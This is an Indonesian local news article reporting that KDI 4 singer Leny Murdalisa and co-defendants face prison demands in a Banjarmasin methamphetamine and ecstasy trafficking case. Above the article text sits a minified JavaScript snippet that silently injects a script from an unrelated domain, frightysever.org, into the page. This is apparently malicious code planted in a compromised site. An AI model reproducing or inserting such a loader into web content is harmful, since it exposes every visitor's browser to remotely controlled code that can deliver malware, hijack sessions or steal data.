(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Terjerat Sindikat Narkoba, Leny KDI 4 Dituntut 6 Tahun Penjara


BANJARMASIN, Finalis KDI 4 asal Kalimantan Selatan Leny Murdalisa yang terjerat kasus Narkoba kini telah masuk sidang perdana di Pengadilan Negeri (PN) Banjarmasin, Kamis (5/4). Leny Murdalisa dituntut 6 tahun penjara yang diajukan oleh Jaksa Penuntut Umum (JPU) Mashuri karena keterlibatannya dalam lingkaran setan Narkoba.

Mendengar tuntutan 6 tahun penjara tersebut, langsung ditanggapi Leny Murdalisa yang akrab disapa Leny KDI dengan membacakan nota pembelaan (pledoi). Pledio dibacakan melalui tim kuasa hukum Akbar, Yusuf Ilmi dan Umar dari LKBH Universitas Lambung Mangkurat (ULM) dihadapan majelis hakim yang diketuai Heri Susanto dan dua hakim anggota, Afandi Widarijanto dan Nanik Handayani.

Sebelumnya, JPU Mashuri menuntut hukuman 6 tahun penjara denda Rp 1 miliar subsider 6 bulan kurungan dan menyatakan Leny Murdalisa terbukti melanggar pasal 132 ayat (1) jo Pasal 114 ayat (2) UU RI Nomor 35 Tahun 2009 tentang Narkotika. Dimana, Leny yang didakwa sebagai pengedar Narkoba.

Tak hanya Leny, komplotannya pun juga dibawa ke meja hijau dengan masing-masing peran yang berbeda. Terdakwa Rahmi, misalkan dituntut lebih lama 7 tahun penjara denda Rp 1,5 miliar subsider 6 bulan kurungan. Begitu pula, Hendri Wahyu, Bayu Indrawan dan Shelli Yani Iskandar dituntut hukuman maksimal di atas 5 tahun penjara.

Dari fakta persidangan kasus Narkoba yang menjerat Leny KDI cs, berawal dari penangkapan yang dilakukan petugas Polsek Banjarmasin Timur terhadap terdakwa Rahmi di halaman ATM HBI, Jalan Achmad yani Km 4,5, Banjarmasin pada Kamis (19/10) lalu, ketika hendak melakukan transaksi Narkoba.

Dari sepeda motor yang dikendarai Rahmi ini, ditemukan dua paket sabu dan pil ekstasi, selanjutnya kasus tersebut dikembangkan hingga menyasar Hendri Wahyu. Terdakwa ini juga ditangkap di rumahnya, Jalan A Yani Km 9,2 Komplek Bumi Daya Turangga II, Kelurahan Kertak Hanyar, Kabupaten Banjar.

Dari rumah pelaku, polisi mendapat 6 plastik klip berisi sabu-sabu dalam bungkus obat salep batuk, dengan berat 23,55 gram. Rupanya, peredaran ‘kristal laknat’ masih dalam satu jaringan, hingga menyeret Leny Marudalisa dan komplotannya, dengan barang bukti seluruhnya mencapai 27,3 gram sabu plus 6 butir pil ekstasi. (ammar)

Reporter : Ammar
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Jelang Penilaian Satu Wasaka Award, Bappedalitbang Mantapkan Persiapan

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar rapat… Read More

15 menit ago

Bimtek Peningkatan Kapasitas Tim Penggerak PKK Desa

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan membuka kegiatan Bimbingan… Read More

1 jam ago

Tak Bernyawa Dalam Kabin Truk di Jalan Jeruk Sungai Ulin

KANALKALIMANTAN.COM, BANJARBARU - Sesosok lelaki tak bernyawa didapati dalam kabin truk gegerkan warga Jalan Jeruk… Read More

2 jam ago

Bukan Kader Parpol, Lisa Halaby Berani Lamar Banyak Parpol

KANALKALIMANTAN.COM, BANJARBARU - Langkah dari figur non partai politik (Parpol) Lisa Halaby melamar ke banyak… Read More

4 jam ago

Pembongkaran Tanpa Perlawanan, Pedagang Rela Asal Masih Bisa Berjualan

KANALKALIMANTAN.COM, BANJARMASIN - Pembongkaran lapak pedagang di badan Jalan Pasar Lama Laut, Kecamatan Banjarmasin Tengah,… Read More

6 jam ago

BREAKING NEWS: Satpol PP Banjarmasin Bongkar Lapak Pedagang di Pasar Lama Laut

KANALKALIMANTAN.COM, BANJARMASIN - Petugas Satpol PP Banjarmasin melakukan eksekusi pembongkaran bangunan dan lapak dagangan warga… Read More

7 jam ago

This website uses cookies.